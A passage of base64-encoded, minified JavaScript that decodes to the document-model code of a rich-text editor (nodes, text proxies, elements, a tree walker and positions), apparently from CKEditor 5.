mdEaXNhYmxlZCYmdGhpcy5faGFzQ2hhbmdlZFNpbmNlVGhlTGFzdFJlbmRlcmluZyl7dGhpcy5fcG9zdEZpeGVyc0luUHJvZ3Jlc3M9dHJ1ZTt0aGlzLmRvY3VtZW50Ll9jYWxsUG9zdEZpeGVycyh0aGlzLl93cml0ZXIpO3RoaXMuX3Bvc3RGaXhlcnNJblByb2dyZXNzPWZhbHNlO3RoaXMuZmlyZSgicmVuZGVyIil9cmV0dXJuIGV9Y2F0Y2godCl7c3NbImEiXS5yZXRocm93VW5leHBlY3RlZEVycm9yKHQsdGhpcyl9fWZvcmNlUmVuZGVyKCl7dGhpcy5faGFzQ2hhbmdlZFNpbmNlVGhlTGFzdFJlbmRlcmluZz10cnVlO3RoaXMuY2hhbmdlKCgoKT0+e30pKX1kZXN0cm95KCl7Zm9yKGNvbnN0IHQgb2YgdGhpcy5fb2JzZXJ2ZXJzLnZhbHVlcygpKXt0LmRlc3Ryb3koKX10aGlzLmRvY3VtZW50LmRlc3Ryb3koKTt0aGlzLnN0b3BMaXN0ZW5pbmcoKX1jcmVhdGVQb3NpdGlvbkF0KHQsZSl7cmV0dXJuIGhsLl9jcmVhdGVBdCh0LGUpfWNyZWF0ZVBvc2l0aW9uQWZ0ZXIodCl7cmV0dXJuIGhsLl9jcmVhdGVBZnRlcih0KX1jcmVhdGVQb3NpdGlvbkJlZm9yZSh0KXtyZXR1cm4gaGwuX2NyZWF0ZUJlZm9yZSh0KX1jcmVhdGVSYW5nZSh0LGUpe3JldHVybiBuZXcgZmwodCxlKX1jcmVhdGVSYW5nZU9uKHQpe3JldHVybiBmbC5fY3JlYXRlT24odCl9Y3JlYXRlUmFuZ2VJbih0KXtyZXR1cm4gZmwuX2NyZWF0ZUluKHQpfWNyZWF0ZVNlbGVjdGlvbih0LGUsbil7cmV0dXJuIG5ldyBwbCh0LGUsbil9X2Rpc2FibGVSZW5kZXJpbmcodCl7dGhpcy5fcmVuZGVyaW5nRGlzYWJsZWQ9dDtpZih0PT1mYWxzZSl7dGhpcy5jaGFuZ2UoKCgpPT57fSkpfX1fcmVuZGVyKCl7dGhpcy5pc1JlbmRlcmluZ0luUHJvZ3Jlc3M9dHJ1ZTt0aGlzLmRpc2FibGVPYnNlcnZlcnMoKTt0aGlzLl9yZW5kZXJlci5yZW5kZXIoKTt0aGlzLmVuYWJsZU9ic2VydmVycygpO3RoaXMuaXNSZW5kZXJpbmdJblByb2dyZXNzPWZhbHNlfX1fcyhVaCxKYyk7Y2xhc3MgSGh7Y29uc3RydWN0b3IodCl7dGhpcy5wYXJlbnQ9bnVsbDt0aGlzLl9hdHRycz1Hcyh0KX1nZXQgaW5kZXgoKXtsZXQgdDtpZighdGhpcy5wYXJlbnQpe3JldHVybiBudWxsfWlmKCh0PXRoaXMucGFyZW50LmdldENoaWxkSW5kZXgodGhpcykpPT09bnVsbCl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLW5vZGUtbm90LWZvdW5kLWluLXBhcmVudCIsdGhpcyl9cmV0dXJuIHR9Z2V0IHN0YXJ0T2Zmc2V0KCl7bGV0IHQ7aWYoIXRoaXMucGFyZW50KXtyZXR1cm4gbnVsbH1pZigodD10aGlzLnBhcmVudC5nZXRDaGlsZFN0YXJ0T2Zmc2V0KHRoaXMpKT09PW51bGwpe3Rocm93IG5ldyBzc1siYSJdKCJtb2RlbC1ub2RlLW5vdC1mb3VuZC1pbi1wYXJlbnQiLHRoaXMpfXJldHVybiB0fWdldCBvZmZzZXRTaXplKCl7cmV0dXJuIDF9Z2V0IGVuZE9mZnNldCgpe2lmKCF0aGlzLnBhcmVudCl7cmV0dXJuIG51bGx9cmV0dXJuIHRoaXMuc3RhcnRPZmZzZXQrdGhpcy5vZmZzZXRTaXplfWdldCBuZXh0U2libGluZygpe2NvbnN0IHQ9dGhpcy5pbmRleDtyZXR1cm4gdCE9PW51bGwmJnRoaXMucGFyZW50LmdldENoaWxkKHQrMSl8fG51bGx9Z2V0IHByZXZpb3VzU2libGluZygpe2NvbnN0IHQ9dGhpcy5pbmRleDtyZXR1cm4gdCE9PW51bGwmJnRoaXMucGFyZW50LmdldENoaWxkKHQtMSl8fG51bGx9Z2V0IHJvb3QoKXtsZXQgdD10aGlzO3doaWxlKHQucGFyZW50KXt0PXQucGFyZW50fXJldHVybiB0fWlzQXR0YWNoZWQoKXtyZXR1cm4gdGhpcy5yb290LmlzKCJyb290RWxlbWVudCIpfWdldFBhdGgoKXtjb25zdCB0PVtdO2xldCBlPXRoaXM7d2hpbGUoZS5wYXJlbnQpe3QudW5zaGlmdChlLnN0YXJ0T2Zmc2V0KTtlPWUucGFyZW50fXJldHVybiB0fWdldEFuY2VzdG9ycyh0PXtpbmNsdWRlU2VsZjpmYWxzZSxwYXJlbnRGaXJzdDpmYWxzZX0pe2NvbnN0IGU9W107bGV0IG49dC5pbmNsdWRlU2VsZj90aGlzOnRoaXMucGFyZW50O3doaWxlKG4pe2VbdC5wYXJlbnRGaXJzdD8icHVzaCI6InVuc2hpZnQiXShuKTtuPW4ucGFyZW50fXJldHVybiBlfWdldENvbW1vbkFuY2VzdG9yKHQsZT17fSl7Y29uc3Qgbj10aGlzLmdldEFuY2VzdG9ycyhlKTtjb25zdCBpPXQuZ2V0QW5jZXN0b3JzKGUpO2xldCBvPTA7d2hpbGUobltvXT09aVtvXSYmbltvXSl7bysrfXJldHVybiBvPT09MD9udWxsOm5bby0xXX1pc0JlZm9yZSh0KXtpZih0aGlzPT10KXtyZXR1cm4gZmFsc2V9aWYodGhpcy5yb290IT09dC5yb290KXtyZXR1cm4gZmFsc2V9Y29uc3QgZT10aGlzLmdldFBhdGgoKTtjb25zdCBuPXQuZ2V0UGF0aCgpO2NvbnN0IGk9THMoZSxuKTtzd2l0Y2goaSl7Y2FzZSJwcmVmaXgiOnJldHVybiB0cnVlO2Nhc2UiZXh0ZW5zaW9uIjpyZXR1cm4gZmFsc2U7ZGVmYXVsdDpyZXR1cm4gZVtpXTxuW2ldfX1pc0FmdGVyKHQpe2lmKHRoaXM9PXQpe3JldHVybiBmYWxzZX1pZih0aGlzLnJvb3QhPT10LnJvb3Qpe3JldHVybiBmYWxzZX1yZXR1cm4hdGhpcy5pc0JlZm9yZSh0KX1oYXNBdHRyaWJ1dGUodCl7cmV0dXJuIHRoaXMuX2F0dHJzLmhhcyh0KX1nZXRBdHRyaWJ1dGUodCl7cmV0dXJuIHRoaXMuX2F0dHJzLmdldCh0KX1nZXRBdHRyaWJ1dGVzKCl7cmV0dXJuIHRoaXMuX2F0dHJzLmVudHJpZXMoKX1nZXRBdHRyaWJ1dGVLZXlzKCl7cmV0dXJuIHRoaXMuX2F0dHJzLmtleXMoKX10b0pTT04oKXtjb25zdCB0PXt9O2lmKHRoaXMuX2F0dHJzLnNpemUpe3QuYXR0cmlidXRlcz1BcnJheS5mcm9tKHRoaXMuX2F0dHJzKS5yZWR1Y2UoKCh0LGUpPT57dFtlWzBdXT1lWzFdO3JldHVybiB0fSkse30pfXJldHVybiB0fWlzKHQpe3JldHVybiB0PT09Im5vZGUifHx0PT09Im1vZGVsOm5vZGUifV9jbG9uZSgpe3JldHVybiBuZXcgSGgodGhpcy5fYXR0cnMpfV9yZW1vdmUoKXt0aGlzLnBhcmVudC5fcmVtb3ZlQ2hpbGRyZW4odGhpcy5pbmRleCl9X3NldEF0dHJpYnV0ZSh0LGUpe3RoaXMuX2F0dHJzLnNldCh0LGUpfV9zZXRBdHRyaWJ1dGVzVG8odCl7dGhpcy5fYXR0cnM9R3ModCl9X3JlbW92ZUF0dHJpYnV0ZSh0KXtyZXR1cm4gdGhpcy5fYXR0cnMuZGVsZXRlKHQpfV9jbGVhckF0dHJpYnV0ZXMoKXt0aGlzLl9hdHRycy5jbGVhcigpfX1jbGFzcyBHaCBleHRlbmRzIEhoe2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIoZSk7dGhpcy5fZGF0YT10fHwiIn1nZXQgb2Zmc2V0U2l6ZSgpe3JldHVybiB0aGlzLmRhdGEubGVuZ3RofWdldCBkYXRhKCl7cmV0dXJuIHRoaXMuX2RhdGF9aXModCl7cmV0dXJuIHQ9PT0iJHRleHQifHx0PT09Im1vZGVsOiR0ZXh0Inx8dD09PSJ0ZXh0Inx8dD09PSJtb2RlbDp0ZXh0Inx8dD09PSJub2RlInx8dD09PSJtb2RlbDpub2RlIn10b0pTT04oKXtjb25zdCB0PXN1cGVyLnRvSlNPTigpO3QuZGF0YT10aGlzLmRhdGE7cmV0dXJuIHR9X2Nsb25lKCl7cmV0dXJuIG5ldyBHaCh0aGlzLmRhdGEsdGhpcy5nZXRBdHRyaWJ1dGVzKCkpfXN0YXRpYyBmcm9tSlNPTih0KXtyZXR1cm4gbmV3IEdoKHQuZGF0YSx0LmF0dHJpYnV0ZXMpfX1jbGFzcyBXaHtjb25zdHJ1Y3Rvcih0LGUsbil7dGhpcy50ZXh0Tm9kZT10O2lmKGU8MHx8ZT50Lm9mZnNldFNpemUpe3Rocm93IG5ldyBzc1siYSJdKCJtb2RlbC10ZXh0cHJveHktd3Jvbmctb2Zmc2V0aW50ZXh0Iix0aGlzKX1pZihuPDB8fGUrbj50Lm9mZnNldFNpemUpe3Rocm93IG5ldyBzc1siYSJdKCJtb2RlbC10ZXh0cHJveHktd3JvbmctbGVuZ3RoIix0aGlzKX10aGlzLmRhdGE9dC5kYXRhLnN1YnN0cmluZyhlLGUrbik7dGhpcy5vZmZzZXRJblRleHQ9ZX1nZXQgc3RhcnRPZmZzZXQoKXtyZXR1cm4gdGhpcy50ZXh0Tm9kZS5zdGFydE9mZnNldCE9PW51bGw/dGhpcy50ZXh0Tm9kZS5zdGFydE9mZnNldCt0aGlzLm9mZnNldEluVGV4dDpudWxsfWdldCBvZmZzZXRTaXplKCl7cmV0dXJuIHRoaXMuZGF0YS5sZW5ndGh9Z2V0IGVuZE9mZnNldCgpe3JldHVybiB0aGlzLnN0YXJ0T2Zmc2V0IT09bnVsbD90aGlzLnN0YXJ0T2Zmc2V0K3RoaXMub2Zmc2V0U2l6ZTpudWxsfWdldCBpc1BhcnRpYWwoKXtyZXR1cm4gdGhpcy5vZmZzZXRTaXplIT09dGhpcy50ZXh0Tm9kZS5vZmZzZXRTaXplfWdldCBwYXJlbnQoKXtyZXR1cm4gdGhpcy50ZXh0Tm9kZS5wYXJlbnR9Z2V0IHJvb3QoKXtyZXR1cm4gdGhpcy50ZXh0Tm9kZS5yb290fWlzKHQpe3JldHVybiB0PT09IiR0ZXh0UHJveHkifHx0PT09Im1vZGVsOiR0ZXh0UHJveHkifHx0PT09InRleHRQcm94eSJ8fHQ9PT0ibW9kZWw6dGV4dFByb3h5In1nZXRQYXRoKCl7Y29uc3QgdD10aGlzLnRleHROb2RlLmdldFBhdGgoKTtpZih0Lmxlbmd0aD4wKXt0W3QubGVuZ3RoLTFdKz10aGlzLm9mZnNldEluVGV4dH1yZXR1cm4gdH1nZXRBbmNlc3RvcnModD17aW5jbHVkZVNlbGY6ZmFsc2UscGFyZW50Rmlyc3Q6ZmFsc2V9KXtjb25zdCBlPVtdO2xldCBuPXQuaW5jbHVkZVNlbGY/dGhpczp0aGlzLnBhcmVudDt3aGlsZShuKXtlW3QucGFyZW50Rmlyc3Q/InB1c2giOiJ1bnNoaWZ0Il0obik7bj1uLnBhcmVudH1yZXR1cm4gZX1oYXNBdHRyaWJ1dGUodCl7cmV0dXJuIHRoaXMudGV4dE5vZGUuaGFzQXR0cmlidXRlKHQpfWdldEF0dHJpYnV0ZSh0KXtyZXR1cm4gdGhpcy50ZXh0Tm9kZS5nZXRBdHRyaWJ1dGUodCl9Z2V0QXR0cmlidXRlcygpe3JldHVybiB0aGlzLnRleHROb2RlLmdldEF0dHJpYnV0ZXMoKX1nZXRBdHRyaWJ1dGVLZXlzKCl7cmV0dXJuIHRoaXMudGV4dE5vZGUuZ2V0QXR0cmlidXRlS2V5cygpfX1jbGFzcyBLaHtjb25zdHJ1Y3Rvcih0KXt0aGlzLl9ub2Rlcz1bXTtpZih0KXt0aGlzLl9pbnNlcnROb2RlcygwLHQpfX1bU3ltYm9sLml0ZXJhdG9yXSgpe3JldHVybiB0aGlzLl9ub2Rlc1tTeW1ib2wuaXRlcmF0b3JdKCl9Z2V0IGxlbmd0aCgpe3JldHVybiB0aGlzLl9ub2Rlcy5sZW5ndGh9Z2V0IG1heE9mZnNldCgpe3JldHVybiB0aGlzLl9ub2Rlcy5yZWR1Y2UoKCh0LGUpPT50K2Uub2Zmc2V0U2l6ZSksMCl9Z2V0Tm9kZSh0KXtyZXR1cm4gdGhpcy5fbm9kZXNbdF18fG51bGx9Z2V0Tm9kZUluZGV4KHQpe2NvbnN0IGU9dGhpcy5fbm9kZXMuaW5kZXhPZih0KTtyZXR1cm4gZT09LTE/bnVsbDplfWdldE5vZGVTdGFydE9mZnNldCh0KXtjb25zdCBlPXRoaXMuZ2V0Tm9kZUluZGV4KHQpO3JldHVybiBlPT09bnVsbD9udWxsOnRoaXMuX25vZGVzLnNsaWNlKDAsZSkucmVkdWNlKCgodCxlKT0+dCtlLm9mZnNldFNpemUpLDApfWluZGV4VG9PZmZzZXQodCl7aWYodD09dGhpcy5fbm9kZXMubGVuZ3RoKXtyZXR1cm4gdGhpcy5tYXhPZmZzZXR9Y29uc3QgZT10aGlzLl9ub2Rlc1t0XTtpZighZSl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLW5vZGVsaXN0LWluZGV4LW91dC1vZi1ib3VuZHMiLHRoaXMpfXJldHVybiB0aGlzLmdldE5vZGVTdGFydE9mZnNldChlKX1vZmZzZXRUb0luZGV4KHQpe2xldCBlPTA7Zm9yKGNvbnN0IG4gb2YgdGhpcy5fbm9kZXMpe2lmKHQ+PWUmJnQ8ZStuLm9mZnNldFNpemUpe3JldHVybiB0aGlzLmdldE5vZGVJbmRleChuKX1lKz1uLm9mZnNldFNpemV9aWYoZSE9dCl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLW5vZGVsaXN0LW9mZnNldC1vdXQtb2YtYm91bmRzIix0aGlzLHtvZmZzZXQ6dCxub2RlTGlzdDp0aGlzfSl9cmV0dXJuIHRoaXMubGVuZ3RofV9pbnNlcnROb2Rlcyh0LGUpe2Zvcihjb25zdCB0IG9mIGUpe2lmKCEodCBpbnN0YW5jZW9mIEhoKSl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLW5vZGVsaXN0LWluc2VydG5vZGVzLW5vdC1ub2RlIix0aGlzKX19dGhpcy5fbm9kZXMuc3BsaWNlKHQsMCwuLi5lKX1fcmVtb3ZlTm9kZXModCxlPTEpe3JldHVybiB0aGlzLl9ub2Rlcy5zcGxpY2UodCxlKX10b0pTT04oKXtyZXR1cm4gdGhpcy5fbm9kZXMubWFwKCh0PT50LnRvSlNPTigpKSl9fWNsYXNzIHFoIGV4dGVuZHMgSGh7Y29uc3RydWN0b3IodCxlLG4pe3N1cGVyKGUpO3RoaXMubmFtZT10O3RoaXMuX2NoaWxkcmVuPW5ldyBLaDtpZihuKXt0aGlzLl9pbnNlcnRDaGlsZCgwLG4pfX1nZXQgY2hpbGRDb3VudCgpe3JldHVybiB0aGlzLl9jaGlsZHJlbi5sZW5ndGh9Z2V0IG1heE9mZnNldCgpe3JldHVybiB0aGlzLl9jaGlsZHJlbi5tYXhPZmZzZXR9Z2V0IGlzRW1wdHkoKXtyZXR1cm4gdGhpcy5jaGlsZENvdW50PT09MH1pcyh0LGU9bnVsbCl7aWYoIWUpe3JldHVybiB0PT09ImVsZW1lbnQifHx0PT09Im1vZGVsOmVsZW1lbnQifHx0PT09Im5vZGUifHx0PT09Im1vZGVsOm5vZGUifXJldHVybiBlPT09dGhpcy5uYW1lJiYodD09PSJlbGVtZW50Inx8dD09PSJtb2RlbDplbGVtZW50Iil9Z2V0Q2hpbGQodCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuLmdldE5vZGUodCl9Z2V0Q2hpbGRyZW4oKXtyZXR1cm4gdGhpcy5fY2hpbGRyZW5bU3ltYm9sLml0ZXJhdG9yXSgpfWdldENoaWxkSW5kZXgodCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuLmdldE5vZGVJbmRleCh0KX1nZXRDaGlsZFN0YXJ0T2Zmc2V0KHQpe3JldHVybiB0aGlzLl9jaGlsZHJlbi5nZXROb2RlU3RhcnRPZmZzZXQodCl9b2Zmc2V0VG9JbmRleCh0KXtyZXR1cm4gdGhpcy5fY2hpbGRyZW4ub2Zmc2V0VG9JbmRleCh0KX1nZXROb2RlQnlQYXRoKHQpe2xldCBlPXRoaXM7Zm9yKGNvbnN0IG4gb2YgdCl7ZT1lLmdldENoaWxkKGUub2Zmc2V0VG9JbmRleChuKSl9cmV0dXJuIGV9ZmluZEFuY2VzdG9yKHQsZT17aW5jbHVkZVNlbGY6ZmFsc2V9KXtsZXQgbj1lLmluY2x1ZGVTZWxmP3RoaXM6dGhpcy5wYXJlbnQ7d2hpbGUobil7aWYobi5uYW1lPT09dCl7cmV0dXJuIG59bj1uLnBhcmVudH1yZXR1cm4gbnVsbH10b0pTT04oKXtjb25zdCB0PXN1cGVyLnRvSlNPTigpO3QubmFtZT10aGlzLm5hbWU7aWYodGhpcy5fY2hpbGRyZW4ubGVuZ3RoPjApe3QuY2hpbGRyZW49W107Zm9yKGNvbnN0IGUgb2YgdGhpcy5fY2hpbGRyZW4pe3QuY2hpbGRyZW4ucHVzaChlLnRvSlNPTigpKX19cmV0dXJuIHR9X2Nsb25lKHQ9ZmFsc2Upe2NvbnN0IGU9dD9BcnJheS5mcm9tKHRoaXMuX2NoaWxkcmVuKS5tYXAoKHQ9PnQuX2Nsb25lKHRydWUpKSk6bnVsbDtyZXR1cm4gbmV3IHFoKHRoaXMubmFtZSx0aGlzLmdldEF0dHJpYnV0ZXMoKSxlKX1fYXBwZW5kQ2hpbGQodCl7dGhpcy5faW5zZXJ0Q2hpbGQodGhpcy5jaGlsZENvdW50LHQpfV9pbnNlcnRDaGlsZCh0LGUpe2NvbnN0IG49WWgoZSk7Zm9yKGNvbnN0IHQgb2Ygbil7aWYodC5wYXJlbnQhPT1udWxsKXt0Ll9yZW1vdmUoKX10LnBhcmVudD10aGlzfXRoaXMuX2NoaWxkcmVuLl9pbnNlcnROb2Rlcyh0LG4pfV9yZW1vdmVDaGlsZHJlbih0LGU9MSl7Y29uc3Qgbj10aGlzLl9jaGlsZHJlbi5fcmVtb3ZlTm9kZXModCxlKTtmb3IoY29uc3QgdCBvZiBuKXt0LnBhcmVudD1udWxsfXJldHVybiBufXN0YXRpYyBmcm9tSlNPTih0KXtsZXQgZT1udWxsO2lmKHQuY2hpbGRyZW4pe2U9W107Zm9yKGNvbnN0IG4gb2YgdC5jaGlsZHJlbil7aWYobi5uYW1lKXtlLnB1c2gocWguZnJvbUpTT04obikpfWVsc2V7ZS5wdXNoKEdoLmZyb21KU09OKG4pKX19fXJldHVybiBuZXcgcWgodC5uYW1lLHQuYXR0cmlidXRlcyxlKX19ZnVuY3Rpb24gWWgodCl7aWYodHlwZW9mIHQ9PSJzdHJpbmciKXtyZXR1cm5bbmV3IEdoKHQpXX1pZighQXModCkpe3Q9W3RdfXJldHVybiBBcnJheS5mcm9tKHQpLm1hcCgodD0+e2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7cmV0dXJuIG5ldyBHaCh0KX1pZih0IGluc3RhbmNlb2YgV2gpe3JldHVybiBuZXcgR2godC5kYXRhLHQuZ2V0QXR0cmlidXRlcygpKX1yZXR1cm4gdH0pKX1jbGFzcyBRaHtjb25zdHJ1Y3Rvcih0PXt9KXtpZighdC5ib3VuZGFyaWVzJiYhdC5zdGFydFBvc2l0aW9uKXt0aHJvdyBuZXcgc3NbImEiXSgibW9kZWwtdHJlZS13YWxrZXItbm8tc3RhcnQtcG9zaXRpb24iLG51bGwpfWNvbnN0IGU9dC5kaXJlY3Rpb258fCJmb3J3YXJkIjtpZihlIT0iZm9yd2FyZCImJmUhPSJiYWNrd2FyZCIpe3Rocm93IG5ldyBzc1siYSJdKCJtb2RlbC10cmVlLXdhbGtlci11bmtub3duLWRpcmVjdGlvbiIsdCx7ZGlyZWN0aW9uOmV9KX10aGlzLmRpcmVjdGlvbj1lO3RoaXMuYm91bmRhcmllcz10LmJvdW5kYXJpZXN8fG51bGw7aWYodC5zdGFydFBvc2l0aW9uKXt0aGlzLnBvc2l0aW9uPXQuc3RhcnRQb3NpdGlvbi5jbG9uZSgpfWVsc2V7dGhpcy5wb3NpdGlvbj1KaC5fY3JlYXRlQXQodGhpcy5ib3VuZGFyaWVzW3RoaXMuZGlyZWN0aW9uPT0iYmFja3dhcmQiPyJlbmQiOiJzdGFydCJdKX10aGlzLnBvc2l0aW9uLnN0aWNraW5lc3M9InRvTm9uZSI7dGhpcy5zaW5nbGVDaGFyYWN0ZXJzPSEhdC5zaW5nbGVDaGFyYWN0ZXJzO3RoaXMuc2hhbGxvdz0hIXQuc2hhbGxvdzt0aGlzLmlnbm9yZUVsZW1lbnRFbmQ9ISF0Lmlnbm9yZUVsZW1lbnRFbmQ7dGhpcy5fYm91bmRhcnlTdGFydFBhcmVudD10aGlzLmJvdW5kYXJpZXM/dGhpcy5ib3VuZGFyaWVzLnN0YXJ0LnBhcmVudDpudWxsO3RoaXMuX2JvdW5kYXJ5RW5kUGFyZW50PXRoaXMuYm91bmRhcmllcz90aGlzLmJvdW5kYXJpZXMuZW5kLnBhcmVudDpudWxsO3RoaXMuX3Zpc2l0ZWRQYXJlbnQ9dGhpcy5wb3NpdGlvbi5wYXJlbnR9W1N5bWJvbC5pdGVyYXRvcl0oKXtyZXR1cm4gdGhpc31za2lwKHQpe2xldCBlLG4saSxvO2Rve2k9dGhpcy5wb3NpdGlvbjtvPXRoaXMuX3Zpc2l0ZWRQYXJlbnQ7KHtkb25lOmUsdmFsdWU6bn09dGhpcy5uZXh0KCkpfXdoaWxlKCFlJiZ0KG4pKTtpZighZSl7dGhpcy5wb3NpdGlvbj1pO3RoaXMuX3Zpc2l0ZWRQYXJlbnQ9b319bmV4dCgpe2lmKHRoaXMuZGlyZWN0aW9uPT0iZm9yd2FyZCIpe3JldHVybiB0aGlzLl9uZXh0KCl9ZWxzZXtyZXR1cm4gdGhpcy5fcHJldmlvdXMoKX19X25leHQoKXtjb25zdCB0PXRoaXMucG9zaXRpb247Y29uc3QgZT10aGlzLnBvc2l0aW9uLmNsb25lKCk7Y29uc3Qgbj10aGlzLl92aXNpdGVkUGFyZW50O2lmKG4ucGFyZW50PT09bnVsbCYmZS5vZmZzZXQ9PT1uLm1heE9mZnNldCl7cmV0dXJue2RvbmU6dHJ1ZX19aWYobj09PXRoaXMuX2JvdW5kYXJ5RW5kUGFyZW50JiZlLm9mZnNldD09dGhpcy5ib3VuZGFyaWVzLmVuZC5vZmZzZXQpe3JldHVybntkb25lOnRydWV9fWNvbnN0IGk9ZS5wYXJlbnQ7Y29uc3Qgbz1aaChlLGkpO2NvbnN0IHI9bz9vOlhoKGUsaSxvKTtpZihyIGluc3RhbmNlb2YgcWgpe2lmKCF0aGlzLnNoYWxsb3cpe2UucGF0aC5wdXNoKDApO3RoaXMuX3Zpc2l0ZWRQYXJlbnQ9cn1lbHNle2Uub2Zmc2V0Kyt9dGhpcy5wb3NpdGlvbj1lO3JldHVybiAkaCgiZWxlbWVudFN0YXJ0IixyLHQsZSwxKX1lbHNlIGlmKHIgaW5zdGFuY2VvZiBHaCl7bGV0IGk7aWYodGhpcy5zaW5nbGVDaGFyYWN0ZXJzKXtpPTF9ZWxzZXtsZXQgdD1yLmVuZE9mZnNldDtpZih0aGlzLl9ib3VuZGFyeUVuZFBhcmVudD09biYmdGhpcy5ib3VuZGFyaWVzLmVuZC5vZmZzZXQ8dCl7dD10aGlzLmJvdW5kYXJpZXMuZW5kLm9mZnNldH1pPXQtZS5vZmZzZXR9Y29uc3Qgbz1lLm9mZnNldC1yLnN0YXJ0T2Zmc2V0O2NvbnN0IHM9bmV3IFdoKHIsbyxpKTtlLm9mZnNldCs9aTt0aGlzLnBvc2l0aW9uPWU7cmV0dXJuICRoKCJ0ZXh0IixzLHQsZSxpKX1lbHNle2UucGF0aC5wb3AoKTtlLm9mZnNldCsrO3RoaXMucG9zaXRpb249ZTt0aGlzLl92aXNpdGVkUGFyZW50PW4ucGFyZW50O2lmKHRoaXMuaWdub3JlRWxlbWVudEVuZCl7cmV0dXJuIHRoaXMuX25leHQoKX1lbHNle3JldHVybiAkaCgiZWxlbWVudEVuZCIsbix0LGUpfX19X3ByZXZpb3VzKCl7Y29uc3QgdD10aGlzLnBvc2l0aW9uO2NvbnN0IGU9dGhpcy5wb3NpdGlvbi5jbG9uZSgpO2NvbnN0IG49dGhpcy5fdmlzaXRlZFBhcmVudDtpZihuLnBhcmVudD09PW51bGwmJmUub2Zmc2V0PT09MCl7cmV0dXJue2RvbmU6dHJ1ZX19aWYobj09dGhpcy5fYm91bmRhcnlTdGFydFBhcmVudCYmZS5vZmZzZXQ9PXRoaXMuYm91bmRhcmllcy5zdGFydC5vZmZzZXQpe3JldHVybntkb25lOnRydWV9fWNvbnN0IGk9ZS5wYXJlbnQ7Y29uc3Qgbz1aaChlLGkpO2NvbnN0IHI9bz9vOnRmKGUsaSxvKTtpZihyIGluc3RhbmNlb2YgcWgpe2Uub2Zmc2V0LS07aWYoIXRoaXMuc2hhbGxvdyl7ZS5wYXRoLnB1c2goci5tYXhPZmZzZXQpO3RoaXMucG9zaXRpb249ZTt0aGlzLl92aXNpdGVkUGFyZW50PXI7aWYodGhpcy5pZ25vcmVFbGVtZW50RW5kKXtyZXR1cm4gdGhpcy5fcHJldmlvdXMoKX1lbHNle3JldHVybiAkaCgiZWxlbWVudEVuZCIscix0LGUpfX1lbHNle3RoaXMucG9zaXRpb249ZTtyZXR1cm4gJGgoImVsZW1lbnRTdGFydCIscix0LGUsMSl9fWVsc2UgaWYociBpbnN0YW5jZW9mIEdoKXtsZXQgaTtpZih0aGlzLnNpbmdsZUNoYXJhY3RlcnMpe2k9MX1lbHNle2xldCB0PXIuc3RhcnRPZmZzZXQ7aWYodGhpcy5fYm91bmRhcnlTdGFydFBhcmVudD09biYmdGhpcy5ib3VuZGFyaWVzLnN0YXJ0Lm9mZnNldD50KXt0PXRoaXMuYm91bmRhcmllcy5zdGFydC5vZmZzZXR9aT1lLm9mZnNldC10fWNvbnN0IG89ZS5vZmZzZXQtci5zdGFydE9mZnNldDtjb25zdCBzPW5ldyBXaChyLG8taSxpKTtlLm9mZnNldC09aTt0aGlzLnBvc2l0aW9uPWU7cmV0dXJuICRoKCJ0ZXh0IixzLHQsZSxpKX1lbHNle2UucGF0aC5wb3AoKTt0aGlzLnBvc2l0aW9uPWU7dGhpcy5fdmlzaXRlZFBhcmVudD1uLnBhcmVudDtyZXR1cm4gJGgoImVsZW1lbnRTdGFydCIsbix0LGUsMSl9fX1mdW5jdGlvbiAkaCh0LGUsbixpLG8pe3JldHVybntkb25lOmZhbHNlLHZhbHVlOnt0eXBlOnQsaXRlbTplLHByZXZpb3VzUG9zaXRpb246bixuZXh0UG9zaXRpb246aSxsZW5ndGg6b319fWNsYXNzIEpoe2NvbnN0cnVjdG9yKHQsZSxuPSJ0b05vbmUiKXtpZighdC5pcygiZWxlbWVudCIpJiYhdC5pcygiZG9jdW1lbnRGcmFnbWVudCIpKXt0aHJvdyBuZXcgc3NbImEiXSgibW9kZWwtcG9zaXRpb24tcm9vdC1pbnZhbGlkIix0KX1pZighKGUgaW5zdGFuY2VvZiBBcnJheSl8fGUubGVuZ3RoPT09MCl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLXBvc2l0aW9uLXBhdGgtaW5jb3JyZWN0LWZvcm1hdCIsdCx7cGF0aDplfSl9aWYodC5pcygicm9vdEVsZW1lbnQiKSl7ZT1lLnNsaWNlKCl9ZWxzZXtlPVsuLi50LmdldFBhdGgoKSwuLi5lXTt0PXQucm9vdH10aGlzLnJvb3Q9dDt0aGlzLnBhdGg9ZTt0aGlzLnN0aWNraW5lc3M9bn1nZXQgb2Zmc2V0KCl7cmV0dXJuIHRoaXMucGF0aFt0aGlzLnBhdGgubGVuZ3RoLTFdfXNldCBvZmZzZXQodCl7dGhpcy5wYXRoW3RoaXMucGF0aC5sZW5ndGgtMV09dH1nZXQgcGFyZW50KCl7bGV0IHQ9dGhpcy5yb290O2ZvcihsZXQgZT0wO2U8dGhpcy5wYXRoLmxlbmd0aC0xO2UrKyl7dD10LmdldENoaWxkKHQub2Zmc2V0VG9JbmRleCh0aGlzLnBhdGhbZV0pKTtpZighdCl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLXBvc2l0aW9uLXBhdGgtaW5jb3JyZWN0Iix0aGlzLHtwb3NpdGlvbjp0aGlzfSl9fWlmKHQuaXMoIiR0ZXh0Iikpe3Rocm93IG5ldyBzc1siYSJdKCJtb2RlbC1wb3NpdGlvbi1wYXRoLWluY29ycmVjdCIsdGhpcyx7cG9zaXRpb246dGhpc30pfXJldHVybiB0fWdldCBpbmRleCgpe3JldHVybiB0aGlzLnBhcmVudC5vZmZzZXRUb0luZGV4KHRoaXMub2Zmc2V0KX1nZXQgdGV4dE5vZGUoKXtyZXR1cm4gWmgodGhpcyx0aGlzLnBhcmVudCl9Z2V0IG5vZGVBZnRlcigpe2NvbnN0IHQ9dGhpcy5wYXJlbnQ7cmV0dXJuIFhoKHRoaXMsdCxaaCh0aGlzLHQpKX1nZXQgbm9kZUJlZm9yZSgpe2NvbnN0IHQ9dGhpcy5wYXJlbnQ7cmV0dXJuIHRmKHRoaXMsdCxaaCh0aGlzLH